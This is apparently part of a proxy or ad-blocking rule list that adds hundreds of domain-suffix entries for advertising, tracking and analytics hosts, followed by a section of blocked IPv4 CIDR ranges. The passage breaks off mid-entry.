+DOMAIN-SUFFIX, pmptrack-youku.gentags.net +DOMAIN-SUFFIX, sit.gentags.net +DOMAIN-SUFFIX, v-sence.gentags.net +DOMAIN-SUFFIX, ad.greedland.net +DOMAIN-SUFFIX, ad1.greedland.net +DOMAIN-SUFFIX, xzq.greenxf.net +DOMAIN-SUFFIX, 01.gxso.net +DOMAIN-SUFFIX, bdd.hainan.net +DOMAIN-SUFFIX, bds.hainan.net +DOMAIN-SUFFIX, i.hao61.net +DOMAIN-SUFFIX, e.harbinbaojia.net +DOMAIN-SUFFIX, m.harbinbaojia.net +DOMAIN-SUFFIX, stream.heavenmedia.net +DOMAIN-SUFFIX, p8u.hinet.net +DOMAIN-SUFFIX, vatrack.hinet.net +DOMAIN-SUFFIX, adasad.myweb.hinet.net +DOMAIN-SUFFIX, blogad01.myweb.hinet.net +DOMAIN-SUFFIX, blogad02.myweb.hinet.net +DOMAIN-SUFFIX, hiad.myweb.hinet.net +DOMAIN-SUFFIX, e.hk7799.net +DOMAIN-SUFFIX, m.hk7799.net +DOMAIN-SUFFIX, i.huilixieye.net +DOMAIN-SUFFIX, mob.huimee.net +DOMAIN-SUFFIX, daima.huoche.net +DOMAIN-SUFFIX, col.hztags.net +DOMAIN-SUFFIX, ad.idgtn.net +DOMAIN-SUFFIX, dl.img80.net +DOMAIN-SUFFIX, cdn.innity.net +DOMAIN-SUFFIX, cdn.media.innity.net +DOMAIN-SUFFIX, ssl-cdn.media.innity.net +DOMAIN-SUFFIX, a.itiexue.net +DOMAIN-SUFFIX, jph.itiexue.net +DOMAIN-SUFFIX, 888.izhufu.net +DOMAIN-SUFFIX, ad.jamba.net +DOMAIN-SUFFIX, plz.jandan.net +DOMAIN-SUFFIX, bdjs.jb51.net +DOMAIN-SUFFIX, dm.jb51.net +DOMAIN-SUFFIX, 1.jeasyui.net +DOMAIN-SUFFIX, dm50.jkyd.net +DOMAIN-SUFFIX, cp.jz5u.net +DOMAIN-SUFFIX, panda.kdnet.net +DOMAIN-SUFFIX, super.kdnet.net +DOMAIN-SUFFIX, as.kejet.net +DOMAIN-SUFFIX, aw.kejet.net +DOMAIN-SUFFIX, ck.kejet.net +DOMAIN-SUFFIX, cmarket.kejet.net +DOMAIN-SUFFIX, dmacore.kejet.net +DOMAIN-SUFFIX, dmp.kejet.net +DOMAIN-SUFFIX, ec.kejet.net +DOMAIN-SUFFIX, hzdmacore.kejet.net +DOMAIN-SUFFIX, m.kejet.net +DOMAIN-SUFFIX, rtb-p.kejet.net +DOMAIN-SUFFIX, kas.keydot.net +DOMAIN-SUFFIX, s5.keydot.net +DOMAIN-SUFFIX, ww202.keyyou.net +DOMAIN-SUFFIX, ba.kioskea.net +DOMAIN-SUFFIX, sd.kk3g.net +DOMAIN-SUFFIX, c.kl6636.net +DOMAIN-SUFFIX, e.kl6636.net +DOMAIN-SUFFIX, m.kl6636.net +DOMAIN-SUFFIX, beacon.krxd.net +DOMAIN-SUFFIX, cdn.krxd.net +DOMAIN-SUFFIX, ups.ksmobile.net +DOMAIN-SUFFIX, ws.ksmobile.net +DOMAIN-SUFFIX, vi1.ku6img.net +DOMAIN-SUFFIX, vi2.ku6img.net +DOMAIN-SUFFIX, rotabanner.kulichki.net +DOMAIN-SUFFIX, m.laigame7.net +DOMAIN-SUFFIX, down.laomaotao.net +DOMAIN-SUFFIX, ad.leadbolt.net +DOMAIN-SUFFIX, api.leadbolt.net +DOMAIN-SUFFIX, ad.leadboltads.net +DOMAIN-SUFFIX, ad.leadboltapps.net +DOMAIN-SUFFIX, ad.leadboltmobile.net +DOMAIN-SUFFIX, appnext.hs.llnwd.net +DOMAIN-SUFFIX, admeta.vo.llnwd.net +DOMAIN-SUFFIX, inskin.vo.llnwd.net +DOMAIN-SUFFIX, backup.lumion3d.net +DOMAIN-SUFFIX, license.lumion3d.net +DOMAIN-SUFFIX, ad.mangareader.net +DOMAIN-SUFFIX, dd.mangofortune.net +DOMAIN-SUFFIX, zhuuv.maoyumao.net +DOMAIN-SUFFIX, munchkin.marketo.net +DOMAIN-SUFFIX, ad.mediabong.net +DOMAIN-SUFFIX, jingdian230.meilika.net +DOMAIN-SUFFIX, img.meipic.net +DOMAIN-SUFFIX, ma1.meishij.net +DOMAIN-SUFFIX, ma2.meishij.net +DOMAIN-SUFFIX, c.mightiger.net +DOMAIN-SUFFIX, e.mightiger.net +DOMAIN-SUFFIX, m.mightiger.net +DOMAIN-SUFFIX, d.mingyihui.net +DOMAIN-SUFFIX, jskrnekewe.mofans.net +DOMAIN-SUFFIX, ads1.msads.net +DOMAIN-SUFFIX, ads2.msads.net +DOMAIN-SUFFIX, global.msads.net +DOMAIN-SUFFIX, a.global.msads.net +DOMAIN-SUFFIX, js.mumayi.net +DOMAIN-SUFFIX, rbp.mxptint.net +DOMAIN-SUFFIX, rbp.emea.mxptint.net +DOMAIN-SUFFIX, r.myadx.net +DOMAIN-SUFFIX, adres.myaora.net +DOMAIN-SUFFIX, ytapi1.nagezan.net +DOMAIN-SUFFIX, 1.nanrenwo.net +DOMAIN-SUFFIX, 2.nanrenwo.net +DOMAIN-SUFFIX, adimg3.search.naver.net +DOMAIN-SUFFIX, pic.neiyicun.net +DOMAIN-SUFFIX, ad1.nend.net +DOMAIN-SUFFIX, ad2.nend.net +DOMAIN-SUFFIX, img1.nend.net +DOMAIN-SUFFIX, js1.nend.net +DOMAIN-SUFFIX, output.nend.net +DOMAIN-SUFFIX, ad1.netshelter.net +DOMAIN-SUFFIX, util.nphoto.net +DOMAIN-SUFFIX, bam.nr-data.net +DOMAIN-SUFFIX, asv.nuggad.net +DOMAIN-SUFFIX, ag.nukefans.net +DOMAIN-SUFFIX, ig.nukefans.net +DOMAIN-SUFFIX, zzcw.office-mall.net +DOMAIN-SUFFIX, g.ousns.net +DOMAIN-SUFFIX, g2.ousns.net +DOMAIN-SUFFIX, events-api.outfit7.net +DOMAIN-SUFFIX, px.owneriq.net +DOMAIN-SUFFIX, ad1.p5w.net +DOMAIN-SUFFIX, col.pagechoice.net +DOMAIN-SUFFIX, dap.pagechoice.net +DOMAIN-SUFFIX, images.pagechoice.net +DOMAIN-SUFFIX, motu.pagechoice.net +DOMAIN-SUFFIX, sit.pagechoice.net +DOMAIN-SUFFIX, 1.panduoduo.net +DOMAIN-SUFFIX, js.paochala.net +DOMAIN-SUFFIX, btn.pchome.net +DOMAIN-SUFFIX, js-1.pchome.net +DOMAIN-SUFFIX, pf.pchome.net +DOMAIN-SUFFIX, pf-2.pchome.net +DOMAIN-SUFFIX, init.phpwind.net +DOMAIN-SUFFIX, ad.pickple.net +DOMAIN-SUFFIX, rum-collector.pingdom.net +DOMAIN-SUFFIX, rum-static.pingdom.net +DOMAIN-SUFFIX, ad.pixnet.net +DOMAIN-SUFFIX, c1.popads.net +DOMAIN-SUFFIX, c2.popads.net +DOMAIN-SUFFIX, serve.popads.net +DOMAIN-SUFFIX, cdn.popcash.net +DOMAIN-SUFFIX, api.primecaster.net +DOMAIN-SUFFIX, c.ptffw.net +DOMAIN-SUFFIX, e.qingzhencai.net +DOMAIN-SUFFIX, m.qingzhencai.net +DOMAIN-SUFFIX, zeus.qj.net +DOMAIN-SUFFIX, rad.reporo.net +DOMAIN-SUFFIX, js.revsci.net +DOMAIN-SUFFIX, pd7-imp.revsci.net +DOMAIN-SUFFIX, pix04.revsci.net +DOMAIN-SUFFIX, wpc.32df9.rhocdn.net +DOMAIN-SUFFIX, api.rideraid.net +DOMAIN-SUFFIX, v.rmbn.net +DOMAIN-SUFFIX, match.rtbidder.net +DOMAIN-SUFFIX, tw13b093.sandai.net +DOMAIN-SUFFIX, xlmc.sandai.net +DOMAIN-SUFFIX, cpm.cm.sandai.net +DOMAIN-SUFFIX, master.wap.dphub.sandai.net +DOMAIN-SUFFIX, idx.m.hub.sandai.net +DOMAIN-SUFFIX, liveupdate.mac.sandai.net +DOMAIN-SUFFIX, hub5pn.wap.sandai.net +DOMAIN-SUFFIX, etl.xlmc.sandai.net +DOMAIN-SUFFIX, test.api.xlmc.sandai.net +DOMAIN-SUFFIX, pre.api.tw06.xlmc.sandai.net +DOMAIN-SUFFIX, dm.sanwen.net +DOMAIN-SUFFIX, js.sanwen.net +DOMAIN-SUFFIX, 518.sdinfo.net +DOMAIN-SUFFIX, b17.shangc.net +DOMAIN-SUFFIX, j17.shangc.net +DOMAIN-SUFFIX, aec.shjk123.net +DOMAIN-SUFFIX, a.shuoshuodaquan.net +DOMAIN-SUFFIX, s3.pfp.sina.net +DOMAIN-SUFFIX, as.sinahk.net +DOMAIN-SUFFIX, ad.sinovision.net +DOMAIN-SUFFIX, adsys.sinovision.net +DOMAIN-SUFFIX, award.sitekeuring.net +DOMAIN-SUFFIX, oas.skyscanner.net +DOMAIN-SUFFIX, ad.smartclip.net +DOMAIN-SUFFIX, selfie.snapmobileasia.net +DOMAIN-SUFFIX, pclog.suishenyun.net +DOMAIN-SUFFIX, display.superbay.net +DOMAIN-SUFFIX, apk.supfast.net +DOMAIN-SUFFIX, apps.supfast.net +DOMAIN-SUFFIX, img.supfast.net +DOMAIN-SUFFIX, l.supfast.net +DOMAIN-SUFFIX, 09_19.supfree.net +DOMAIN-SUFFIX, p.szonline.net +DOMAIN-SUFFIX, ad7.tagphi.net +DOMAIN-SUFFIX, gaandroid.talkingdata.net +DOMAIN-SUFFIX, tdcv3.talkingdata.net +DOMAIN-SUFFIX, u.talkingdata.net +DOMAIN-SUFFIX, st.targetix.net +DOMAIN-SUFFIX, sync.teamrtb.net +DOMAIN-SUFFIX, e.tiantianedu.net +DOMAIN-SUFFIX, m.tiantianedu.net +DOMAIN-SUFFIX, m.tiaopimiao.net +DOMAIN-SUFFIX, rotator.tradetracker.net +DOMAIN-SUFFIX, ti.tradetracker.net +DOMAIN-SUFFIX, media.trafficjunky.net +DOMAIN-SUFFIX, vz-cdn.trafficjunky.net +DOMAIN-SUFFIX, a.ucoz.net +DOMAIN-SUFFIX, adclient.uimserv.net +DOMAIN-SUFFIX, adimg.uimserv.net +DOMAIN-SUFFIX, fips.uimserv.net +DOMAIN-SUFFIX, s.uuidksinc.net +DOMAIN-SUFFIX, t.uvcourse.net +DOMAIN-SUFFIX, t2.vbxx.net +DOMAIN-SUFFIX, rtas.videocc.net +DOMAIN-SUFFIX, c.vip97.net +DOMAIN-SUFFIX, syndication1.viraladnetwork.net +DOMAIN-SUFFIX, delivery-node-aziz.voe-network.net +DOMAIN-SUFFIX, cti.w55c.net +DOMAIN-SUFFIX, i.w55c.net +DOMAIN-SUFFIX, ads.weilitoutiao.net +DOMAIN-SUFFIX, e.weixingshexiangji.net +DOMAIN-SUFFIX, m.weixingshexiangji.net +DOMAIN-SUFFIX, ad.r.worldssl.net +DOMAIN-SUFFIX, union1.xiaojianjian.net +DOMAIN-SUFFIX, lxcdn.dl.files.xiaomi.net +DOMAIN-SUFFIX, pdc.micloud.xiaomi.net +DOMAIN-SUFFIX, migrate.driveapi.micloud.xiaomi.net +DOMAIN-SUFFIX, resolver.msg.xiaomi.net +DOMAIN-SUFFIX, mlog.search.xiaomi.net +DOMAIN-SUFFIX, down.xiazaiyuan.net +DOMAIN-SUFFIX, adimgs.xici.net +DOMAIN-SUFFIX, a.xinwenge.net +DOMAIN-SUFFIX, e.xlsschina15.net +DOMAIN-SUFFIX, m.xlsschina15.net +DOMAIN-SUFFIX, nop.xpanama.net +DOMAIN-SUFFIX, w.homes.yahoo.net +DOMAIN-SUFFIX, st.yandexadexchange.net +DOMAIN-SUFFIX, e.yangjingbang.net +DOMAIN-SUFFIX, m.yangjingbang.net +DOMAIN-SUFFIX, ir.mail.yeah.net +DOMAIN-SUFFIX, e.yidulive.net +DOMAIN-SUFFIX, ad.yieldlab.net +DOMAIN-SUFFIX, yoo.yiiyoo.net +DOMAIN-SUFFIX, siqwqjza.m.yikanxiaoshuo.net +DOMAIN-SUFFIX, p.ynjczy.net +DOMAIN-SUFFIX, au.youmi.net +DOMAIN-SUFFIX, notifiter.youmi.net +DOMAIN-SUFFIX, r.youmi.net +DOMAIN-SUFFIX, s.youmi.net +DOMAIN-SUFFIX, t.youmi.net +DOMAIN-SUFFIX, aos.wall.youmi.net +DOMAIN-SUFFIX, jt.yunxiufang.net +DOMAIN-SUFFIX, cdn.zampda.net +DOMAIN-SUFFIX, adm.zbinfo.net +DOMAIN-SUFFIX, xiaoshuo.zhandao.net +DOMAIN-SUFFIX, a1.zhanzhang.net +DOMAIN-SUFFIX, cloud.zyiis.net +DOMAIN-SUFFIX, audience.network +DOMAIN-SUFFIX, data.apn.co.nz +DOMAIN-SUFFIX, geoshopping.nzherald.co.nz +DOMAIN-SUFFIX, adlink.shopsafe.co.nz +DOMAIN-SUFFIX, clotfun.online +DOMAIN-SUFFIX, customer-security.online +DOMAIN-SUFFIX, deletemer.online +DOMAIN-SUFFIX, qweewq2021.online +DOMAIN-SUFFIX, wazero.online +DOMAIN-SUFFIX, 50bang.org +DOMAIN-SUFFIX, 5dian.org +DOMAIN-SUFFIX, adsensor.org +DOMAIN-SUFFIX, adsrvr.org +DOMAIN-SUFFIX, ajaxcdn.org +DOMAIN-SUFFIX, amiok.org +DOMAIN-SUFFIX, anquan.org +DOMAIN-SUFFIX, boxercrazy.org +DOMAIN-SUFFIX, dafahao.org +DOMAIN-SUFFIX, dajiyuan.org +DOMAIN-SUFFIX, do-not-tracker.org +DOMAIN-SUFFIX, falundata.org +DOMAIN-SUFFIX, gdsqwy.org +DOMAIN-SUFFIX, go2cloud.org +DOMAIN-SUFFIX, ketchapp.org +DOMAIN-SUFFIX, lajizhan.org +DOMAIN-SUFFIX, ppoi.org +DOMAIN-SUFFIX, punchbox.org +DOMAIN-SUFFIX, rutrk.org +DOMAIN-SUFFIX, shenyun.org +DOMAIN-SUFFIX, trackersimulator.org +DOMAIN-SUFFIX, vtale.org +DOMAIN-SUFFIX, a.80982.org +DOMAIN-SUFFIX, oascentral.hosted.ap.org +DOMAIN-SUFFIX, advertise.baicizhan.org +DOMAIN-SUFFIX, tosv.byted.org +DOMAIN-SUFFIX, tosv.boe.byted.org +DOMAIN-SUFFIX, desk.cmix.org +DOMAIN-SUFFIX, img.dawenxue.org +DOMAIN-SUFFIX, lm.dawenxue.org +DOMAIN-SUFFIX, pp2.dhzw.org +DOMAIN-SUFFIX, qd.dhzw.org +DOMAIN-SUFFIX, m.du1du.org +DOMAIN-SUFFIX, tw.fgmtv.org +DOMAIN-SUFFIX, m.fhxsw.org +DOMAIN-SUFFIX, bai3.gushiwen.org +DOMAIN-SUFFIX, looky.hyves.org +DOMAIN-SUFFIX, life.imagepix.org +DOMAIN-SUFFIX, img1.jintang114.org +DOMAIN-SUFFIX, jrpt.jrptweb.org +DOMAIN-SUFFIX, eee.kj78.org +DOMAIN-SUFFIX, admin.louxia.org +DOMAIN-SUFFIX, ads2.opensubtitles.org +DOMAIN-SUFFIX, gg86.pinggu.org +DOMAIN-SUFFIX, api.ppoi.org +DOMAIN-SUFFIX, img1.pszyzxh.org +DOMAIN-SUFFIX, atm.punchbox.org +DOMAIN-SUFFIX, pic.punchbox.org +DOMAIN-SUFFIX, uapi.punchbox.org +DOMAIN-SUFFIX, w.punchbox.org +DOMAIN-SUFFIX, switching.atm.punchbox.org +DOMAIN-SUFFIX, en.shenyun.org +DOMAIN-SUFFIX, zh-cn.shenyun.org +DOMAIN-SUFFIX, a.m.shuhuangge.org +DOMAIN-SUFFIX, baxf.m.shuhuangge.org +DOMAIN-SUFFIX, ow.s1.shuhuangge.org +DOMAIN-SUFFIX, ow.s2.shuhuangge.org +DOMAIN-SUFFIX, api.userstyles.org +DOMAIN-SUFFIX, dm.ws8.org +DOMAIN-SUFFIX, c.xianguonongchang.org +DOMAIN-SUFFIX, c.xznykf.org +DOMAIN-SUFFIX, sina.yinstar.org +DOMAIN-SUFFIX, bizanti.youwatch.org +DOMAIN-SUFFIX, hejban.youwatch.org +DOMAIN-SUFFIX, nest.youwatch.org +DOMAIN-SUFFIX, c.zmjuan.org +DOMAIN-SUFFIX, c.zxyywdj.org +DOMAIN-SUFFIX, adx.kat.ph +DOMAIN-SUFFIX, xn--2qux23c9ziyrq.plus +DOMAIN-SUFFIX, cilidaquan.pw +DOMAIN-SUFFIX, aswl.d3kdh34.pw +DOMAIN-SUFFIX, aswl.dfs3e4.pw +DOMAIN-SUFFIX, adsco.re +DOMAIN-SUFFIX, weixinvip.ren +DOMAIN-SUFFIX, shzyjbr.wtdtjs.rocks +DOMAIN-SUFFIX, adriver.ru +DOMAIN-SUFFIX, advombat.ru +DOMAIN-SUFFIX, betsonsport.ru +DOMAIN-SUFFIX, dumedia.ru +DOMAIN-SUFFIX, recreativ.ru +DOMAIN-SUFFIX, sape.ru +DOMAIN-SUFFIX, tns-counter.ru +DOMAIN-SUFFIX, winlinebet.ru +DOMAIN-SUFFIX, yadro.ru +DOMAIN-SUFFIX, yandex.ru +DOMAIN-SUFFIX, ad.3dnews.ru +DOMAIN-SUFFIX, rtb.com.ru +DOMAIN-SUFFIX, dmg.digitaltarget.ru +DOMAIN-SUFFIX, tag.digitaltarget.ru +DOMAIN-SUFFIX, ad.dumedia.ru +DOMAIN-SUFFIX, runetki.joyreactor.ru +DOMAIN-SUFFIX, ad.mail.ru +DOMAIN-SUFFIX, sync.morgdm.ru +DOMAIN-SUFFIX, r.radikal.ru +DOMAIN-SUFFIX, ad.rambler.ru +DOMAIN-SUFFIX, sync.rambler.ru +DOMAIN-SUFFIX, profile.ssp.rambler.ru +DOMAIN-SUFFIX, adlabs-sync.rutarget.ru +DOMAIN-SUFFIX, adriver-sync.rutarget.ru +DOMAIN-SUFFIX, cdn-rtb.sape.ru +DOMAIN-SUFFIX, dispenser-rtb.sape.ru +DOMAIN-SUFFIX, ssp-rtb.sape.ru +DOMAIN-SUFFIX, pixel.vihub.ru +DOMAIN-SUFFIX, ad.xmovies8.ru +DOMAIN-SUFFIX, counter.yadro.ru +DOMAIN-SUFFIX, mg.yadro.ru +DOMAIN-SUFFIX, an.yandex.ru +DOMAIN-SUFFIX, mc.yandex.ru +DOMAIN-SUFFIX, mc.yandex.ru +DOMAIN-SUFFIX, spb.bid.run +DOMAIN-SUFFIX, adrotator.se +DOMAIN-SUFFIX, ingest.sentry +DOMAIN-SUFFIX, coin-hive-proxy-ybydcnjgkl.now.sh +DOMAIN-SUFFIX, party-nngvitbizn.now.sh +DOMAIN-SUFFIX, ad.proxy.sh +DOMAIN-SUFFIX, z.clickvip.shop +DOMAIN-SUFFIX, e.zhuyuanp.shop +DOMAIN-SUFFIX, m.zhuyuanp.shop +DOMAIN-SUFFIX, beeho.site +DOMAIN-SUFFIX, qqq123987.site +DOMAIN-SUFFIX, qqq123987.site +DOMAIN-SUFFIX, ker.pic2pic.site +DOMAIN-SUFFIX, adv.bandi.so +DOMAIN-SUFFIX, asd.projectfreetv.so +DOMAIN-SUFFIX, ad.spielothek.so +DOMAIN-SUFFIX, kawa11.space +DOMAIN-SUFFIX, 777.000123456789.space +DOMAIN-SUFFIX, inoprosport.su +DOMAIN-SUFFIX, adtarget.tech +DOMAIN-SUFFIX, we.tm +DOMAIN-SUFFIX, a.kickass.to +DOMAIN-SUFFIX, content.streamplay.to +DOMAIN-SUFFIX, dacash.streamplay.to +DOMAIN-SUFFIX, eacash.streamplay.to +DOMAIN-SUFFIX, x.vipergirls.to +DOMAIN-SUFFIX, app.abc000.today +DOMAIN-SUFFIX, 138138138.top +DOMAIN-SUFFIX, 813690.top +DOMAIN-SUFFIX, akuai.top +DOMAIN-SUFFIX, b99u.top +DOMAIN-SUFFIX, bigbos.top +DOMAIN-SUFFIX, d24ak3f2b.top +DOMAIN-SUFFIX, dandan11.top +DOMAIN-SUFFIX, dandan13.top +DOMAIN-SUFFIX, dandan15.top +DOMAIN-SUFFIX, gz00005.top +DOMAIN-SUFFIX, heib10.top +DOMAIN-SUFFIX, heib12.top +DOMAIN-SUFFIX, jkjjkj.top +DOMAIN-SUFFIX, nkeo.top +DOMAIN-SUFFIX, powergg.top +DOMAIN-SUFFIX, regulationprivilegescan.top +DOMAIN-SUFFIX, sangxi.top +DOMAIN-SUFFIX, ioc.mmakd.top +DOMAIN-SUFFIX, j.qijijs.top +DOMAIN-SUFFIX, p.qijijs.top +DOMAIN-SUFFIX, p.saozhu1.top +DOMAIN-SUFFIX, iutr.uozwys.top +DOMAIN-SUFFIX, e.zhuyuanp.top +DOMAIN-SUFFIX, m.zhuyuanp.top +DOMAIN-SUFFIX, x.zhuyuanp.top +DOMAIN-SUFFIX, add.bugun.com.tr +DOMAIN-SUFFIX, adap.tv +DOMAIN-SUFFIX, lansha.tv +DOMAIN-SUFFIX, publicidad.tv +DOMAIN-SUFFIX, yoyi.tv +DOMAIN-SUFFIX, agn.aty.snmsohu.aisee.tv +DOMAIN-SUFFIX, m.aty.snmsohu.aisee.tv +DOMAIN-SUFFIX, mmg.aty.snmsohu.aisee.tv +DOMAIN-SUFFIX, ja.chushou.tv +DOMAIN-SUFFIX, sync.extend.tv +DOMAIN-SUFFIX, pb.bi.gitv.tv +DOMAIN-SUFFIX, msg.ptqy.gitv.tv +DOMAIN-SUFFIX, msga.ptqy.gitv.tv +DOMAIN-SUFFIX, store.ptqy.gitv.tv +DOMAIN-SUFFIX, mixer.cupid.ptqy.gitv.tv +DOMAIN-SUFFIX, t7z.cupid.ptqy.gitv.tv +DOMAIN-SUFFIX, nl.rcd.ptqy.gitv.tv +DOMAIN-SUFFIX, daima.ijq.tv +DOMAIN-SUFFIX, renren2.maoyun.tv +DOMAIN-SUFFIX, c.netu.tv +DOMAIN-SUFFIX, ad.pandora.tv +DOMAIN-SUFFIX, game.pps.tv +DOMAIN-SUFFIX, fan.twitch.tv +DOMAIN-SUFFIX, spade.twitch.tv +DOMAIN-SUFFIX, adsystem.wasu.tv +DOMAIN-SUFFIX, adwasu.wasu.tv +DOMAIN-SUFFIX, d.yoyi.tv +DOMAIN-SUFFIX, js.yoyi.tv +DOMAIN-SUFFIX, g.d.yoyi.tv +DOMAIN-SUFFIX, t.d.yoyi.tv +DOMAIN-SUFFIX, js1.zuocai.tv +DOMAIN-SUFFIX, adbot.tw +DOMAIN-SUFFIX, plmkolp.m.58xs.tw +DOMAIN-SUFFIX, dotmore.com.tw +DOMAIN-SUFFIX, hotrank.com.tw +DOMAIN-SUFFIX, pic.adver.com.tw +DOMAIN-SUFFIX, ad.digitimes.com.tw +DOMAIN-SUFFIX, flv.dotmore.com.tw +DOMAIN-SUFFIX, pic.dotmore.com.tw +DOMAIN-SUFFIX, ad.gametower.com.tw +DOMAIN-SUFFIX, drd.hauchi.com.tw +DOMAIN-SUFFIX, ysm.hauchi.com.tw +DOMAIN-SUFFIX, h01.hotrank.com.tw +DOMAIN-SUFFIX, ad.pchome.com.tw +DOMAIN-SUFFIX, adcl.pchome.com.tw +DOMAIN-SUFFIX, itad.linetv.tw +DOMAIN-SUFFIX, ad.obuy.tw +DOMAIN-SUFFIX, h.holder.com.ua +DOMAIN-SUFFIX, k2team.kyiv.ua +DOMAIN-SUFFIX, match.c8.net.ua +DOMAIN-SUFFIX, ff.nsg.org.ua +DOMAIN-SUFFIX, wowanalytics.co.uk +DOMAIN-SUFFIX, jsc.adskeeper.co.uk +DOMAIN-SUFFIX, servicer.adskeeper.co.uk +DOMAIN-SUFFIX, oas.autotrader.co.uk +DOMAIN-SUFFIX, rack.bauermedia.co.uk +DOMAIN-SUFFIX, visualscience.external.bbc.co.uk +DOMAIN-SUFFIX, oasc07.citywire.co.uk +DOMAIN-SUFFIX, cnetwidget.creativemark.co.uk +DOMAIN-SUFFIX, mads.dailymail.co.uk +DOMAIN-SUFFIX, ad.jamster.co.uk +DOMAIN-SUFFIX, fe.lea.lycos.co.uk +DOMAIN-SUFFIX, hit.webcentre.lycos.co.uk +DOMAIN-SUFFIX, network.sofeminine.co.uk +DOMAIN-SUFFIX, londonprivaterentals.standard.co.uk +DOMAIN-SUFFIX, connect.summit.co.uk +DOMAIN-SUFFIX, creatives.summitconnect.co.uk +DOMAIN-SUFFIX, wtpn.twenga.co.uk +DOMAIN-SUFFIX, partners.vouchedfor.co.uk +DOMAIN-SUFFIX, localnetwork.uop +DOMAIN-SUFFIX, amung.us +DOMAIN-SUFFIX, sitetag.us +DOMAIN-SUFFIX, wole.us +DOMAIN-SUFFIX, widgets.amung.us +DOMAIN-SUFFIX, www.avple.video +DOMAIN-SUFFIX, 58lm.vip +DOMAIN-SUFFIX, xj40666.vip +DOMAIN-SUFFIX, oikxlcv.wang +DOMAIN-SUFFIX, xhtd.99hg.wang +DOMAIN-SUFFIX, 0x01e7.website +DOMAIN-SUFFIX, brakefluid.website +DOMAIN-SUFFIX, adserve.work +DOMAIN-SUFFIX, material.mtty.xin +DOMAIN-SUFFIX, mtty-cdn.mtty.xin +DOMAIN-SUFFIX, xn--xhq9mt12cf5v.xn--io0a7i +DOMAIN-SUFFIX, xn--xhq9mt12cf5v.xn--io0a7i +DOMAIN-SUFFIX, sss.sege.xxx +DOMAIN-SUFFIX, ayabreya.xyz +DOMAIN-SUFFIX, ddmax20.xyz +DOMAIN-SUFFIX, gotourl.xyz +DOMAIN-SUFFIX, okjhb.xyz +DOMAIN-SUFFIX, xiaohuau.xyz +DOMAIN-SUFFIX, base.filedot.xyz +DOMAIN-SUFFIX, go.gogolm.xyz +DOMAIN-SUFFIX, go.gotourl.xyz +DOMAIN-SUFFIX, cdn.hivps.xyz +DOMAIN-SUFFIX, ip.hivps.xyz +DOMAIN-SUFFIX, ad.pornimg.xyz +DOMAIN-SUFFIX, t.supermario.xyz +DOMAIN-SUFFIX, yumcs.xiaohuau.xyz +DOMAIN-SUFFIX, banner.itweb.co.za +DOMAIN-SUFFIX, banners.itweb.co.za +DOMAIN-SUFFIX, xn--3bs795g.zone + +# IPV4 addresses +IP-CIDR, 117.177.248.17/32, no-resolve +IP-CIDR, 117.177.248.41/32, no-resolve +IP-CIDR, 223.87.176.139/32, no-resolve +IP-CIDR, 223.87.176.176/32, no-resolve +IP-CIDR, 223.87.177.180/32, no-resolve +IP-CIDR, 223.87.177.182/32, no-resolve +IP-CIDR, 223.87.177.184/32, no-resolve +IP-CIDR, 223.87.177.43/32, no-resolve +IP-CIDR, 223.87.177.47/32, no-resolve +IP-CIDR, 223.87.177.80/32, no-resolve +IP-CIDR, 223.87.182.101/32, no-resolve +IP-CIDR, 223.87.182.102/32, no-resolve +IP-CIDR, 223.87.182.11/32, no-resolve +IP-CIDR, 223.87.182.52/32, no-resolve +IP-CIDR, 1.3.0.10/32, no-resolve +IP-CIDR, 101.201.29.182/32, no-resolve +IP-CIDR, 101.251.211.235/32, no-resolve +IP-CIDR, 103.249.254.113/32, no-resolve +IP-CIDR, 104.195.62.12/32, no-resolve +IP-CIDR, 104.197.140.120/32, no-resolve +IP-CIDR, 104.198.198.188/32, no-resolve +IP-CIDR, 106.187.95.251/32, no-resolve +IP-CIDR, 106.75.65.90/32, no-resolve +IP-CIDR, 106.75.65.92/32, no-resolve +IP-CIDR, 107.21.113.76/32, no-resolve +IP-CIDR, 108.171.248.234/32, no-resolve +IP-CIDR, 111.175.220.160/29, no-resolve +IP-CIDR, 111.206.22.0/24, no-resolve +IP-CIDR, 111.30.135.167/32, no-resolve +IP-CIDR, 111.63.135.0/24, no-resolve +IP-CIDR, 111.73.45.147/32, no-resolve +IP-CIDR, 112.124.115.215/32, no-resolve +IP-CIDR, 112.74.95.46/32, no-resolve +IP-CIDR, 113.207.57.24/32, no-resolve +IP-CIDR, 113.57.230.88/32, no-resolve +IP-CIDR, 114.55.123.44/32, no-resolve +IP-CIDR, 114.95.102.77/32, no-resolve +IP-CIDR, 115.29.141.121/32, no-resolve +IP-CIDR, 115.29.247.48/32, no-resolve +IP-CIDR, 116.206.22.7/32, no-resolve +IP-CIDR, 116.55.227.242/32, no-resolve +IP-CIDR, 117.144.242.32/32, no-resolve +IP-CIDR, 117.25.133.209/32, no-resolve +IP-CIDR, 118.144.88.215/28, no-resolve +IP-CIDR, 119.188.13.0/24, no-resolve +IP-CIDR, 120.132.57.41/32, no-resolve +IP-CIDR, 120.132.63.203/32, no-resolve +IP-CIDR, 120.197.89.239/32, no-resolve +IP-CIDR, 120.198.116.0/24, no-resolve +IP-CIDR, 120.26.151.246/32, no-resolve +IP-CIDR, 120.27.34.156/32, no-resolve +IP-CIDR, 120.55.199.139/32, no-resolve +IP-CIDR, 120.80.57.123/32, no-resolve +IP-CIDR, 121.15.207.243/32, no-resolve +IP-CIDR, 121.199.73.185/32, no-resolve +IP-CIDR, 121.201.108.2/32, no-resolve +IP-CIDR, 121.201.11.95/32, no-resolve +IP-CIDR, 121.251.255.0/24, no-resolve +IP-CIDR, 121.43.75.169/32, no-resolve +IP-CIDR, 122.225.103.120/32, no-resolve +IP-CIDR, 122.226.223.163/32, no-resolve +IP-CIDR, 122.227.254.195/32, no-resolve +IP-CIDR, 122.228.236.165/32, no-resolve +IP-CIDR, 123.125.111.0/24, no-resolve +IP-CIDR, 123.139.154.201/24, no-resolve +IP-CIDR, 123.57.162.39/32, no-resolve +IP-CIDR, 123.57.94.184/32, no-resolve +IP-CIDR, 123.59.152.170/32, no-resolve +IP-CIDR, 123.59.78.229/32, no-resolve +IP-CIDR, 124.160.194.11/32, no-resolve +IP-CIDR, 125.46.61.28/32, no-resolve +IP-CIDR, 125.89.69.5/32, no-resolve +IP-CIDR, 139.159.32.82/32, no-resolve +IP-CIDR, 139.196.239.52/32, no-resolve +IP-CIDR, 139.224.26.92/32, no-resolve +IP-CIDR, 139.224.74.148/32, no-resolve +IP-CIDR, 146.148.85.61/32, no-resolve +IP-CIDR, 162.212.181.32/32, no-resolve +IP-CIDR, 